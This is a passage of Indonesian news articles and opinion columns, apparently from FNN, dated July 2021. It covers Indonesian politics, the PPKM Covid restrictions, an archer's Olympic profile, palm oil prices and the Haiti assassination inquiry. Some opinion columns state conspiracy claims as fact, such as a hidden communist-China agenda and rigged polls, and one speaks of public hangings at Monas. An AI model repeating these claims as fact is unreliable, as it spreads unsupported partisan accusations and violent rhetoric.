Nah, acara pernikahan dan peringatan Maulid Nabi tersebut yang kemudian dipersoalkan aparat keamanan. Aparat kepolisian menganggap acara tersebut telah melanggar protokol kesehatan dalam rangka pencegahan penyebaran Covid19. Walaupun Keluarga Habib Rizieq sudah membayar denda Rp 50 juta, namun rupanya aparat tetap menganggap Habib Rizieq telah melakukan Pelanggaran Prokes dan akhirnya dipidanakan walaupun menurut pendapat para ahli hukum Pelanggaran Prokes tidak bisa dipidana. Tidak hanya itu, kerumunan massa tidak hanya terjadi pada saat acara Maulid Nabi Muhammad SAW, tetapi banyak kejadian serupa di tempat lain. Tapi tidak dipersoalkan oleh aparat keamanan. Bahkan rangkaian proses Pilkada di berbagai tempat juga telah mengundang kerumunan massa termasuk kampanye yang dilakukan Gibran anaknya Jokowi yang kini menjadi Walikota Solo. ***

Partai Demokrat Minta Kelompok KLB Tak Mengulur-ulur Mediasi

Jakarta, FNN - Tim kuasa hukum Partai Demokrat meminta kelompok kongres luar biasa (KLB) tidak mengulur-ulur proses mediasi terhadap gugatan perbuatan melawan hukum di Pengadilan Negeri (PN) Jakarta Pusat. Kelompok KLB diyakini telah menghambat proses mediasi karena mereka sebagai pihak tergugat terus mempersoalkan kehadiran Ketua Umum DPP Partai Demokrat Agus Harimurti Yudhoyono (AHY) dalam proses mediasi, kata Anggota Tim Kuasa Hukum Partai Demokrat Mehbob sebagaimana dikutip dari keterangan tertulisnya yang diterima di Jakarta, Sabtu. “Kami menggugat atas nama Partai Demokrat, dalam hal ini diwakili Sekretaris Jenderal Teuku Riefky Harsya yang hadir dalam proses mediasi,” terang Mehbob. Ia menjelaskan kehadiran Teuku Riefky, selain atas nama dirinya sebagai penggugat, juga mewakili AHY. "Ketua Umum AHY secara khusus menugaskan Sekjen untuk hadir guna menunjukkan itikad baik dan penghormatan kami terhadap pengadilan,” sebut Mehbob. Oleh karena itu, Tim Kuasa Hukum Partai Demokrat tidak dapat menerima isi tanggapan dari pihak KLB yang mempersoalkan ketidakhadiran AHY pada proses mediasi. Ketidakhadiran AHY itu berulang kali dipersoalkan oleh kelompok KLB, padahal Tim Kuasa Hukum Partai Demokrat telah memberi penjelasan, terang Mehbob. “Ini mencerminkan pemahaman yang sempit terhadap Peraturan Mahkamah Agung tentang mediasi. Ini alasan yang selalu diulang-ulang sejak awal proses mediasi,” terang Mehbob. AHY dan Teuku Riefky melalui tim kuasa hukumnya yang dinamakan Tim Pembela Demokrasi pada tanggal 13 April 2021 menggugat 12 penggerak KLB ke PN Jakarta Pusat atas perbuatan melawan hukum. 12 pengurus KLB yang masuk dalam daftar tergugat, yaitu Muhammad Rahmad, Yus Sudarso, Syofwatillah Mohzaib, Max Sopacua, Achmad Yahya, Darmizal, Marzuki Alie, Tri Julianto, Supandi R. Sugondo, Boyke Novrizon, Jhoni Allen Marbun, dan Aswin Ali Nasution. Terkait gugatan itu, Majelis hakim PN Jakarta Pusat yang dipimpin oleh hakim Saifudin Zuhri pada persidangan 4 Mei 2021 memberi kesempatan kepada pihak penggugat dan tergugat untuk menempuh jalur mediasi. Saifudin mengatakan bahwa sidang terkait gugatan itu akan kembali berlanjut menunggu hasil mediasi. Beberapa pertemuan mediasi telah berlangsung di PN Jakarta Pusat, salah satunya pada 3 Juni 2021. Dalam salah satu pertemuan mediasi, tim kuasa hukum Partai Demokrat telah menyerahkan proposal perdamaian ke kelompok KLB. Sejauh ini, pihak tergugat dan tim kuasa hukumnya belum dapat dihubungi untuk diminta tanggapan. (mth)

Pandemi Covid19: antara Konstitusi & Manajemen Krisis Jokowi

Oleh : Gde Siriana Yusuf Jakarta, FNN - Kesehatan adalah salah satu hak asasi manusia. PBB pada tahun 1948 dalam Universal Declaration of Human Rights pasal 25 telah menetapkan bahwa setiap orang berhak atas taraf hidup yang menjamin kesehatan dan kesejahteraan untuk dirinya dan keluarganya. Konstitusi RI melalui amandemen kedua tahun 2000 pasal 28H ayat (1), menyatakan bahwa setiap orang berhak memperoleh pelayanan kesehatan. Secara redaksi amandemen ini fokus pada sisi rakyat yaitu aspek hak asasi, tetapi tidak secara eksplisit menjabarkan dari aspek kewajiban negara. Lalu setelah amandemen keempat tahun 2002, pasal 34 (3) menyatakan bahwa Negara bertanggung jawab atas penyediaan fasilitas pelayanan kesehatan dan fasilitas pelayanan umum yang layak. Sesungguhnya pada konstitusi RIS (Republik Indonesia Serikat) yang pernah berlaku tahun 1949-1950, pada pasal 40 sudah menyatakan secara jelas dan harfiah bahwa penguasa senantiasa berusaha dengan sungguh-sungguh memajukan kebersihan umum dan kesehatan rakyat. Kalimat pada konstitusi RIS tersebut tentu menjadi semacam mandatory bahwa memajukan kesehatan rakyat, dan bukan sebatas pada pelayanan kesehatan saja, merupakan tanggung jawab negara yang dijalankan oleh pemerintah atau penguasa dengan sungguh-sungguh. Membandingkan makna harfiah pada kedua konstitusi tersebut, saya melihat makna pada RIS lebih eksplisit dalam tuntutan adanya kesungguhan pemerintah, sedangkan pada amandemen keempat UUD1945 sangat mudah diintepretasikan secara politis dan ketidaksungguhan akan mudah dimanipulasi dengan bentuk-bentuk penyediaan pelayanan kesehatan. Katakan misalnya penyediaan fasilitas layanan kesehatan yang dibutuhkan seharusnya 100, tapi pemerintah sediakan 20 saja sudah dianggap tidak melanggar konstitusi. Atau kebijakan kesehatan yang tidak punya road map yang jelas tidak dapat dianggap sebagai ketidaksungguhan pemerintah. Barangkali itulah yang kini sedang terjadi di negeri kita. Di awal tahun 2020 masyarakat mempertanyakan kesungguhan pemerintah untuk menghadapi kedatangan pandemi Covid19 ketika yang ditunjukkan pemerintah justru ucapan-ucapan guyonan. Kesungguhan juga harus direpresentasikan dalam pola kerja manajemen krisis, yaitu aspek leadership dan kebijakan yang dilandasi scientific approach. Pasal 34 UUD 1945 hanya menyebutkan kewajiban negara menyediakan fasilitas pelayanan kesehatan, dapat dimaknai bahwa kewajiban pemerintah hanya sekedar menyediakan pelayanan kesehatan saja. Dengan demikian itu tidak dapat dijadikan sebagai paradigma kesehatan. Seharusnya digunakan paradigma pembangunan kesehatan yang produktif, yang bukan dibatasi pada penyediaan pelayanan fasilitas kesehatan saja, yaitu bukan hanya mengobati tetapi senantiasa menjaga masyarakat tetap sehat, sehingga koheren dengan pembangunan manusia dan pembangunan ekonomi. Dengan demikian kesehatan dapat menjadi fungsi produksi dan modal yang tahan lama dalam pembangunan ekonomi. Jadi dalam menghadapi pandemi ini pemerintah yang mewakili negara tidak saja sebatas menyediakan vaksin dan sarana kesehatan lainnya dalam menghadapi pandemi Covid19. Pemerintah juga harus sungguh-sungguh menuntaskan pandemi Covid19 dengan menjaga seluruh masyarakat dari serangan pandemi berikutnya. Keberlanjutan program pemberian masker gratis, vaksin gratis, asupan gizi dan vitamin yang cukup, dan kepatuhan Prokes Covid19 masih menjadi keharusan karena sampai hari ini dunia tidak tahu kapan pandemi berakhir, dan upaya itu membutuhkan biaya sangat besar. Apalagi dunia hari ini sudah berubah dengan adaptasi kebiasaan baru. Maka kesungguhan ini perlu direpresentasikan dengan alokasi anggaran yang diprioritaskan melebihi sektor lainnya untuk saat ini. Jangan terjadi dengan alokasi anggaran besar itu, misalnya program vaksinasi bukan untuk sungguh-sungguh mencegah masyarakat tertular Covid19, tetapi sekedar merealisasikan proyek pembelian vaksin. Atau bantuan pangan untuk masyarakat terdampak justru dikorupsi pejabat negara. Kesungguhan pemerintah juga harus direpresentasikan oleh leadership Jokowi dalam manajemen krisis. Harus ada road map yang terencana dan komprehensif akan datangnya gelombang susulan pandemi dan kapan pandemi melandai, serta program yang diperlukan untuk mengantisipasi. Kebijakan yang terkonsolidasi dan jelas pendekatan yang digunakannya, serta dikeluarkan dari satu pintu Satgas Covid19. Dan yang paling penting, kesungguhan harus ditunjukkan oleh perilaku presiden Jokowi sendiri. Selama ini, masyarakat sudah dapat menilainya sendiri. Bagaimanapun sikap masyarakat hari ini adalah hasil dari perilaku leadership Jokowi selama ini.

LBP Tamat, Jokowi Tumbang

Oleh Tarmidzi Yusuf (Pegiat Dakwah dan Sosial) Bandung, FNN - Pilar pendukung Jokowi goyah. Para menteri mulai saling intip untuk cari aman. Tidak menutup kemungkinan prahara politik di India dan Malaysia berimbas ke Indonesia. 12 menteri India mengundurkan diri. UMNO menarik dukungan dari Perdana Menteri Muhyiddin Yassin. Mungkinkah PDIP, Gerindra dan Golkar keluar dari koalisi Jokowi? Publik menangkap kesan. Dukungan terhadap Jokowi mulai melemah. Indikasinya, PPKM Darurat yang dipimpin LBP tidak sesuai skenario. Jokowi diambang jatuh. Menurut konstitusi jika Jokowi tumbang, Ma'ruf Amin Presiden. HRS bebas. Covid-19 selesai. Pembantai dan pembunuh enam laskar FPI dipecat, ditangkap, diadili dan digantung rame-rame di Monas. Banyak pejabat pusat maupun daerah, diam-diam mulai melakukan 'pembangkangan' terhadap LBP, yang disebut-sebut secara de facto sering mempertontonkan kekuasaan layaknya seorang Presiden bukan sebagai seorang Menko. Kuat dugaan PPKM Darurat menyimpan agenda tersembunyi. Orang kuat di Pemerintahan Jokowi sedang memancing di air keruh untuk melanggengkan kekuasaan melaui isu presiden tiga periode dan mempersiapkan Ganjar Pranowo yang tidak didukung PDIP untuk Pilpres 2024. Penggiringan opini melalui lembaga survei sudah bergerak lebih jauh. Ganjar Pranowo versi PSK memiliki elektabilitas tertinggi mengalahkan Prabowo dan Anies Baswedan. Responden siluman, akal-akalan lembaga survei sebagai PSK alias pekerja survei komersial. PPKM Darurat sebagai pancingan untuk skenario politik yang lebih besar. Memuluskan agenda China komunis di Indonesia. Menariknya, publik tidak terpancing dengan skenario tersebut. PPKM Darurat gagal. Skenario rusuh nasional pun gagal total. Misalnya, PPKM Darurat tidak lebih dari darurat PSBB ketika awal-awal diberlakukan awal tahun lalu. Saat PSBB, pos check poin diberbagai daerah super ketat. Beda jauh dengan PPKM yang katanya darurat tapi lebih longgar dibandingkan dengan PSBB. Posko atau saat PSBB dinamakan check point, kosong tak berpenghuni. Tak ada lagi petugas ber-APD seperti astronot atau Satpol PP yang over acting. Pertanda mulai ada pembangkangan daerah terhadap LBP. Publik hanya merasakan penyekatan di berbagai kawasan. Tak jarang menimbulkan ketegangan baru. Contohnya, ribut-ribut antara petugas PPKM Darurat yang bertindak arogan terhadap prajurit Paspampres. Jokowi mulai digembosi melalui pembangkangan terhadap LBP sebagai Koordinator PPKM Darurat. LBP sebagai sasaran antara. Sasaran akhir, tumbangnya Jokowi. Saat ini, pilar utama pendukung Jokowi tinggal LBP dan China komunis. Faksi-faksi utama di sekitar Jokowi, diam-diam mulai mengambil jarak. Jokowi dan LBP akan ditinggalkan. Duet LBP dan Jokowi bakal tamat, Insyaallah. Tinggal China komunis yang akan menopang kekuasaan LBP - Jokowi. Kekuatan politik dalam negeri bakal ramai-ramai meninggalkan LBP - Jokowi. Isu masuknya TKA China komunis selama masa covid-19 diduga ada kaitannya dengan skenario LBP, Jokowi dan China komunis. Sebagai pertahanan terakhir bila LBP dan Jokowi benar-benar tumbang.

Andai Jokowi Mundur atau Dimundurkan

By M Rizal Fadillah Bandung, FNN - Wacana bahkan desakan agar Jokowi mundur terdengar semakin nyaring. Opsi beratnya adalah dimundurkan. Tentu semua dalam kerangka konstitusi bukan makar atau kudeta. Baik Presiden mundur ataupun dimundurkan memiliki akar sejarah dalam ketatanegaraan kita. Soekarno dan Soeharto mundur, sementara Gus Dur dimundurkan. Nah kita mulai dengan Jokowi yang memilih untuk mengundurkan diri karena tidak mampu lagi untuk memimpin pemerintahan. Akibat pula dari kepercayaan rakyat yang hilang. Jika mundur secara sukarela dengan meminta maaf secara serius, mungkin tidak membawa konsekuensi hukum. Rakyat rela atau terpaksa memaafkan. Menurut Pasal 8 ayat (1) UUD 1945 kedudukan Presiden yang mundur digantikan oleh Wakil Presiden. Kyai Ma'ruf Amin menjadi Presiden. Ayat (2) mengatur bahwa selambatnya 2 bulan setelahnya MPR memilih Wapres dari dua calon yang diajukan Presiden . Disini tentu terjadi lobi, kesepakatan, dan mungkin tekanan politik. Melihat kemampuan Wakil Presiden "The King of Silent" bukan hal mustahil Wapres mundur berbarengan dengan Presiden karena solidaritas dan merasa senasib sepenanggungan. Berlakulah Pasal 8 ayat (3) Menlu, Mendagri, dan Menhan mengisi kekosongan hingga 30 hari ke depan. MPR melakukan pemilihan Presiden dan Wakil Presiden. Andai Presiden Jokowi tidak mundur tetapi dimundurkan atas dasar tekanan politik rakyat, maka akan berat bagi Jokowi untuk menanggung konsekuensi politik dan hukumnya. Pertama, ketika ada dua Menteri melakukan korupsi, maka wajar ada dugaan bahwa dana mengalir kemana mana. Upeti ke atasan pun patut dicurigai. Korupsi tersendiri atas berbagai komisi juga mungkin. Ada bongkar-bongkaran rekening gendut mantan Presiden baik di dalam maupun luar negeri. Tuduhan korupsi bakal menanti. Kedua, kasus pelanggaran HAM diusut dan diminta pertanggungjawaban Jokowi. Pembiaran tewasnya 700 an petugas Pemilu 2019, pembunuhan oleh aparat sekurangnya sembilan pengunjuk rasa pada 21-22 Mei 2019, serta pembantaian enam pengawal HRS 7 Desember 2020 adalah "daging empuk" dakwaan. Ketiga, mismanajemen pengelolaan ekonomi sehingga kondisi perekonomian morat marit. Gagal menjadi rezim investasi. Hutang luar negeri yang menumpuk menyebabkan tidak mampu membayar. Untuk menutupi bunga saja Menkeu sudah pontang -panting. Meminjam besar tanpa persetujuan Dewan dipastikan menjadi beban dan tudingan kemudian hari. Keempat, kebijakan membangun poros Jakarta-Beijing dengan menjebol kran imigrasi untuk mengelontorkan kedatangan TKA Cina sangat bermasalah. Ikutan ideologi menjadi pertanyaan. Bisa saja Jokowi bukan komunis, tetapi kebijakan yang membuka pintu komunisme tidak dapat diterima oleh rakyat Indonesia yang sangat anti PKI dan Neo-PKI. Kelima, memperalat pandemi Covid 19 untuk membungkam demokrasi dan membangun oligarkhi, korporatokrasi, dan kleptokrasi. Kejahatan politik seperti ini wajib untuk dipertanggungjawabkan dan harus menjadi pemberat hukuman. Aparat telah dikerahkan untuk memenuhi hasrat kekuasaan dengan menunggangi pandemi bukan sebaliknya, menanggulangi. Risiko tinggi dan kerugian besar Jokowi jika sampai dimundurkan. Dosa politiknya lebih besar dibandingkan Presiden pendahulunya. Kerusakan negara dilakukan dengan cepat dengan masa kekuasaan yang masih pendek. Dengan ilusi tiga periode lagi. Ketika kini tokoh kritis diborgol dan dipaksa memakai rompi oranye, maka esok mungkin giliran Jokowi yang berbaju oranye. Semoga hidayah dan akal sehat masih melekat pada Presiden Jokowi yang saat ini memiliki banyak gelar dari rakyat. Gelar yang bernuansa olok-olok. Kita tunggu pilihan terbaiknya. *) Pemerhati Politik dan Kebangsaan

Profil Atlet Olimpiade: Pemanah Riau Ega Agatha Salsabila

Jakarta, FNN - Atlet panahan nasional Riau Ega Agatha Salsabila akan kembali mewakili Indonesia dalam ajang pesta olahraga terakbar Olimpiade Tokyo 2020 yang akan berlangsung pada 23 Juli-8 Agustus. Tahun ini akan menjadi kali kedua bagi Riau Ega untuk ikut serta dalam ajang bergengsi tersebut setelah sebelumnya ia pernah membela tim Merah Putih pada Olimpiade Rio de Janeiro 2016. Perjalanan Riau Ega untuk mewakili Indonesia di Tokyo 2020 terbilang tidak mulus. Ega sempat dicoret dari pelatnas karena masalah administrasi meski sudah mengantongi tiket Olimpiade Tokyo pada nomor individu sejak tampil di Asian Games 2018. Namun akhirnya Pengurus Pusat Persatuan Panahan Indonesia (PP Perpani) memanggil Riau Ega untuk kembali berlatih berdasarkan sebuah Surat Keputusan (SK) yang dikeluarkan pada Maret. Riau Ega dipastikan akan turun pada tiga nomor di Olimpiade Tokyo, yakni beregu putra, beregu campuran dan individual putra. Untuk nomor beregu, Riau Ega mengamankan tiket Olimpiade dari Kejuaraan Dunia Final Olympic Qualification Tournament di Paris, Prancis dengan mengalahkan 38 negara. Atlet kelahiran Kota Blitar itu sudah menekuni olahraga panahan sejak usia 10 tahun. Namun sebelum memantapkan hati di cabang panahan, ia sempat menjajal kemampuannya di cabang olahraga lainnya, yakni sepak bola dan renang. Meski belum bisa menyumbangkan medali pada kesempatan pertamanya di Olimpiade lima tahun silam, namun prestasi yang dibukukan Riau Ega dalam kancah internasional cukup gemilang. Pada tingkat ASEAN, ia sudah mengantongi empat medali emas, dua medali perak dan tiga medali perunggu sejak 2011 hingga 2019. SEA Games 2015 Singapura menjadi kenangan manis bagi Riau Ega dengan meraih medali perak di nomor beregu recurve putra bersama Muhammad Wijaya dan Hendra Purnama. Sementara di nomor recurve campuran bersama Ika Yuliana Rochmawati, Riau Ega menyabet medali emas. Namun puncaknya terjadi pada SEA Games 2019 Filipina dengan menyabet tiga medali, yaitu medali emas dari nomor beregu putra, medali perak dari beregu campuran dan medali perunggu dari individu putra. Pada nomor beregu putra recurve, Riau Ega bersama Arif Dwi Pangestu dan Hendra Purnama mengalahkan tim Malaysia di babak final. Kemudian di nomor beregu campuran recurve, Riau Ega meraih perak bersama Diananda Choirunisa setelah dikalahkan wakil Vietnam Thi Dao Loc/Phi Vu Nguyen. Dalam kompetisi individual, Riau Ega kembali menyumbang medali perunggu usai mengalahkan wakil Myanmar Nay Lin Oo di perebutan tempat ketiga. Pada ajang Asian Games 2018, atlet berusia 29 tahun itu mengamankan medali perunggu di nomor individual. Sementara itu, dalam Kejuaraan Dunia Paris yang mengamankan posisinya di beregu putra Olimpiade, Ega dan timnya merebut medali perak. Pada Kejuaraan Dunia Shanghai 2015, dua perunggu ia dapatkan dari nomor individual dan beregu putra. Masih di Shanghai, pada Kejuaraan Dunia 2018, ia kembali mengamankan medali perunggu di nomor beregu campuran. Saat berlaga di Olimpiade Rio de Janeiro 2016, Riau Ega tampil mengejutkan dengan mengalahkan juara dunia sekaligus pemanah nomor satu dunia Kim Woo-jin dari Korea Selatan. Namun saat masuk babak 16 besar, langkahnya terhenti setelah dikalahkan pemanah asal Italia Mauro Nespoli. Biodata singkat Nama: Riau Ega Agatha Salsabila Tempat dan Tanggal Lahir: Blitar, 25 November 1991 Cabang olahraga: Panahan Prestasi: Medali Emas - SEA Games Jakarta 2011 - Islamic Solidarity Games 2013 - SEA Games Singapura 2015 - SEA Games Kuala Lumpur 2017 - SEA Games Filipina 2019 Medali Perak: - SEA Games Singapura 2015 - SEA Games Filipina 2019 - Kejuaraan Dunia 2021 Medali Perunggu: - SEA Games Naypyidaw 2013 (dua medali) - Kejuaraan Dunia Shanghai 2015 (dua medali) - Kejuaraan Dunia Shanghai 2018 - Asian Games Jakarta-Palembang 2018 - SEA Games Filipina 2019 (mth)

Dokter Gigi Beri Kiat Agar Buah Hati Tidak Takut ke Klinik

Jakarta, FNN - Orangtua bisa menanamkan pikiran positif mengenai berobat ke dokter gigi sejak dini kepada anak agar buah hati dengan senang hati rutin memeriksakan kesehatan rongga mulutnya tanpa diliputi rasa takut. Dokter gigi spesialis anak Selvyra Rachmawati, Sp.KGA. dari Universitas Indonesia menyarankan kepada orangtua untuk mengajak anaknya pergi ke dokter gigi ketika tidak ada keluhan di mana kondisi gigi mereka sehat. "Jangan pas giginya sakit karena akan membuat anak cemas dan takut," kata Selvyra kepada ANTARA. Saat memeriksakan gigi, anak akan belajar mengetahui bahwa pemeriksaan di klinik bukanlah mimpi buruk. Dia juga bisa membiasakan diri dengan peralatan-peralatan asing di klinik gigi hingga prosedur yang dilakukan dokter dalam pemeriksaan gigi rutin. Cara lain orangtua untuk mempersiapkan anak agar siap ke dokter gigi adalah memberikan gambaran melalui video. "Sebelum ke dokter gigi orangtua dapat mengajak nonton video anak lain sedang ke dokter gigi," dia menyarankan. Ajak anak mengobrol jauh hari sebelum ke dokter gigi. Beritahukan kepada buah hati bahwa orangtua akan mengajaknya ke dokter gigi pada waktu yang sudah ditentukan. Bicarakan secara jelas dan berulang agar anak mengerti dan tidak ketakutan atau tantrum ketika jadwal ke dokter telah tiba. Pemilihan waktu juga penting. Pilih jadwal yang sesuai dengan aktivitas anak. Buatlah janji dengan dokter pada jam anak sedang aktif, hindari mengajak anak saat jam tidur siang untuk menghindari anak rewel. Jika si anak memiliki saudara yang lebih tua, perkenalan ke dokter gigi bisa dimulai dengan memintanya menemani sang kakak saat kontrol gigi. Jangan lupa untuk memberikan kesan positif mengenai dokter gigi. Hindari membuat dokter gigi jadi momok menyeramkan, seperti mengancam akan membawa anak ke dokter bila berbuat nakal. "Berikan kesan positif tentang dokter gigi pada anak bukan malah menakut-nakuti, contohnya bilang 'ke dokter gigi nanti disuntik', itu tidak boleh," tutur dia. Terakhir, pilihlah klinik gigi yang ramah anak dengan tim spesialis gigi anak terpercaya yang sudah terbiasa menangani pasien anak. (mth)

Menaker Minta Pekerja Komorbid dan Ibu Hamil WFH Saat PPKM Darurat

Jakarta, FNN - Menteri Ketenagakerjaan Ida Fauziyah meminta perusahaan untuk mengizinkan pekerja yang memiliki kormobid, ibu hamil, atau menyusui, agar mereka dapat bekerja dari rumah atau Work From Home (WFH). "Saya kira ini demi dan atas nama kemanusiaan agar mereka diberi kesempatan kerja dari rumah," kata Menaker, Ida Fauziyah, dalam keterangan tertulisnya di Jakarta, Sabtu. Ida juga meminta pekerja yang menggunakan fasilitas kendaraan umum supaya menggunakan masker rangkap atau double masking agar bisa lebih terlindungi dari COVID-19 varian baru seperti Delta. Selanjutnya, ia meminta para pengusaha agar segera memastikan kejelasan terkait kategori jenis usahanya, dengan cara mengkonsultasikan kepada Dinas Perindustrian atau Satgas Penanganan COVID-19 setempat. Sehingga dapat dipastikan usahanya masuk pada sektor esensial, non-esensial, atau kritikal. "Ini dimaksudkan agar pencegahan dan penanganan COVID-19 di perusahaan sesuai dengan peraturan yang ada, khususnya selama masa PPKM Darurat," jelasnya. Tak hanya itu, Menaker Ida juga meminta perusahaan yang berada di Jawa dan Bali agar melakukan tes COVID-19 secara berkala untuk para pekerjanya dengan metode sampling. Hal tersebut guna memutus mata rantai penyebaran COVID-19 pada masa PPKM Darurat. Misalnya bila positivity rate-nya (rasio positif COVID-19) mencapai 10 persen, maka proses kerja seharusnya dihentikan. Sementara jika positive rate di atas 5 persen, maka yang harus dilakukan pihak perusahaan adalah dengan memperketat protokol kesehatan. “Selanjutnya bila positive rate di bawah 5 persen, meskipun masih normal, namun tetap harus waspada dan menerapkan protokol kesehatan secara ketat," kata Menaker Ida. Deputi Bidang Sistem dan Strategi Badang Nasional Penanggulangan Bencana (BNPB), Raditya Jati, menyatakan bahwa hingga saat ini pihaknya melihat sebagian besar institusi masih kurang dalam menaati penggunaan masker, mencuci tangan, fasilitas hindari kerumunan, dan pelaksanaan Worf From Office (WFO), serta Work From Home (WFH). "Jadi kami memerlukan dukungan dari sektor ketenagakerjaan untuk selalu mengingatkan semua pelaku usaha, Disnaker untuk tetap mematuhi protokol kesehatan," ujar Raditya. Dalam upaya pelaksanaan Posko di daerah berjalan baik dan terkendali, BNPB meminta dukungan Disnaker yang memiliki kewenangan pengaturan ketenagakerjaan mampu mendorong seluruh masyarakat, khususnya yang tergabung dalam kegiatan ketenagakerjaan bisa melaksanakan prokes sebaik-baiknya. Ketua Umum KADIN, Arsjad Rasjid, menyatakan sangat mendukung seluruh program pemerintah dalam mengatasi COCID-19. Bagi Arsjad, fokus dalam penanganan kesehatan sangatlah penting. "Kami percaya sekali bahwa untuk memulihkan ekonomi, kita harus membangkitkan kesehatan terlebih dahulu Namun, Arsjad meminta kepada pemerintah agar izin operasional industri padat karya tetap dipertahankan. Menurutnya, walau pun roda ekonomi berjalan dengan lambat, itu masih lebih baik daripada sama sekali tidak berjalan. Tak lupa industri padat karya dalam beroperasi harus tetap menerapkan protokol kesehatan secara ketat. Kabid Ketenagakerjaan Asosiasi Pengusaha Indonesia (Apindo), Harijanto menyatakan kesetujuannya atas permintaan Ketua Umum Kadin agar pemerintah mempertahankan industri padat karya. Hal itu setidaknya ia mendasarkan pada dua alasan. Pertama, Apindo tidak mempersoalkan jika terjadi pengurangan 50 pada staf produksi/pabrik dan 10 persen untuk staf office atau pelayanan administrasi perkantoran sebagaimana instruksi yang dikeluarkan Mendagri Nomor 18 Tahun 2021. Ia menekankan hal tersebut untuk mencegah kebingungan pelaku usaha yang berada di lapangan karena munculnya tafsir atas instruksi tersebut bahwa yang dimaksud 50 persen itu produksinya, bukan staf produksinya. "Karena kalau produksinya yang berkurang 50 persen, kalau berkurang sampe segitu, maka tidak berjalan sama sekali, semua pabrik bisa gulung tikar karena industri garmen, industri sepatu yang padat karya itu prosesnya ban berjalan. Jadi tidak mungkin (produksi dikurangi sampai 50 persen), dan itu sudah diketahui oleh pemerintah," kata Harijanto. Kedua, karena eksport padat karya masih diizinkan sejak awal, maka para industri eksport ini sudah membuat komitmen delivery kepada pihak pembeli di luar negeri yang keadaannya sudah normal, seperti Amerika, China, dan Eropa. "Jadi delivery itu harus tetap berjalan," kata Harijanto lagi. (mth)

Harga CPO di Jambi Naik Rp860 per Kilogram

Jambi, FNN - Harga crude palm oil (CPO) di Jambi pada periode 9-15 Juli 2021, mengalami kenaikkan signifikan sebesar Rp860 kilogram atau dari Rp8.882 per kilogram menjadi Rp9.742 per kilogram, begitu juga dengan Tandan Buah Segar (TBS) kelapa sawitnya dan inti sawit. Hasil yang ditetapkan tim perumus harga TBS dan inti sawit juga naik yakni inti sawit di periode kali naik Rp198 per kilogram atau dari Rp5.694 per kilogram menjadi Rp5.792 per kilogram sedangkan TBS naik Rp119/Kg dari Rp1.622 menjadi Rp1.741 per kilogram, kata Panitia Penetapan Harga TBS Sawit Provinsi Jambi, Putri Rainun, yang diterima Sabtu. Untuk harga CPO, inti sawit dan TBS sawit beberapa peridode terakhir ini terus mengalami kenaikan pada beberapa waktu periode lalu berdasarkan hasil keputusan dari kesepakatan tim perumus harga CPO di Jambi bersama para petani, perusahaan perkebunan sawit serta pihak terkait. Berikut selengkapnya, harga TBS untuk usia tanam tiga tahun yang ditetapkan untuk periode kali ini adalah Rp1.741 per kilogram, usia tanam 4 tahun Rp1.848 per kilogram, usia tanam 5 tahun Rp1.934 per kilogram, usia tanam 6 tahun Rp2.015 per kilogram, dan usia tanam 7 tahun Rp2.066 per kilogram. Kemudian untuk usia tanam 8 tahun senilai Rp2.109 per kilogram, usia tanam 9 tahun Rp2.151 per kilogram, usia tanam 10 sampai dengan 20 tahun Rp2.216 per kilogram, usia 21 hingga 24 tahun Rp2.147 per kilogram dan di atas 25 tahun Rp2.046 per kilogram. Penetapan harga CPO, TBS, dan inti sawit merupakan kesepakatan tim perumus dalam satu rapat dihadiri para pengusaha, koperasi, dan kelompok tani sawit setempat dan berdasarkan Peraturan menteri pertanian dan peraturan gubernur. (mth)

AS, Kolombia Kirim Agen ke Haiti Bantu Selidiki Pembunuhan Presiden

Bogota, FNN - Amerika Serikat dan Kolombia mengatakan pada Jumat bahwa mereka akan mengirim penegak hukum dan pejabat intelijen untuk membantu Haiti setelah sejumlah warga negara mereka ditangkap karena pembunuhan brutal terhadap Presiden Jovenel Moise. Pembunuhan Moise oleh sekelompok pria bersenjata pada dini hari Rabu pagi di rumahnya di Port-au-Prince membawa Haiti lebih dalam ke dalam krisis politik yang dapat memperburuk kelaparan, kekerasan geng, dan wabah COVID-19. Polisi di Haiti mengatakan pembunuhan itu dilakukan oleh unit komando yang terdiri dari 26 tentara bayaran Kolombia dan 2 tentara bayaran Haiti-Amerika. Kedua warga Amerika Haiti itu diidentifikasi sebagai James Solages, 35, dan Joseph Vincent, 55, keduanya dari Florida. Tujuh belas orang ditangkap - termasuk Solages dan Vincent - setelah baku tembak dengan pihak berwenang Haiti di Petionville, pinggiran bukit di ibu kota Port-au-Prince, tempat Moise tinggal. Tiga lainnya tewas dan delapan masih buron, menurut polisi Haiti. Pihak berwenang sedang memburu dalang operasi tersebut, kata mereka. Seorang hakim yang menyelidiki kasus tersebut mengatakan kepada Reuters bahwa Moise ditemukan terbaring telentang di lantai kamar tidurnya, dengan 12 luka tembak dan mata kirinya didorong masuk. Pintu depan kediaman tertutup lubang peluru dan telah dibuka paksa, sementara kamar lain digeledah. "Tubuhnya penuh dengan peluru," kata hakim pengadilan Petionville, Carl Henry Destin. "Ada banyak darah di sekitar mayat dan di tangga." Amerika Serikat pada Kamis berjanji untuk mengirim pejabat senior dari Biro Investigasi Federal (FBI) dan Departemen Keamanan Dalam Negeri (DHS) ke Haiti sesegera mungkin untuk menilai situasi dan melihat cara terbaik yang dapat mereka bantu, kata Gedung Putih. Dua sumber penegak hukum AS, yang berbicara dengan syarat anonim untuk membahas penyelidikan aktif, mengatakan bahwa badan-badan tersebut sedang menyelidiki hubungan AS dengan pembunuhan itu. Seorang juru bicara Departemen Luar Negeri mengatakan: "Kami mengetahui penangkapan dua warga AS di Haiti dan sedang memantau situasi dengan cermat. Karena pertimbangan privasi, kami tidak memiliki komentar lebih lanjut." Kepala direktorat intelijen nasional Kolombia dan direktur intelijen polisi nasional juga akan melakukan perjalanan ke Haiti bersama Interpol untuk membantu penyelidikan, kata Presiden Kolombia Ivan Duque, Jumat. "Kami menawarkan semua bantuan yang mungkin untuk menemukan kebenaran tentang materi dan pelaku intelektual pembunuhan itu," tulis Duque di Twitter. Pejabat Haiti belum memberikan motif pembunuhan Moise atau menjelaskan bagaimana para pembunuh melewati detail keamanan. Dia telah menghadapi protes massa terhadap pemerintahannya sejak menjabat pada 2017 - pertama karena tuduhan korupsi dan pengelolaan ekonominya, kemudian atas cengkeramannya yang meningkat pada kekuasaan. Moise sendiri telah berbicara tentang kekuatan gelap yang bermain di balik kerusuhan: sesama politisi dan oligarki korup yang merasa usahanya untuk membersihkan kontrak pemerintah dan untuk mereformasi politik Haiti bertentangan dengan kepentingan mereka. Penyelidik di Kolombia menemukan bahwa 17 tersangka telah pensiun dari tentara Kolombia antara 2018 dan 2020, komandan angkatan bersenjata 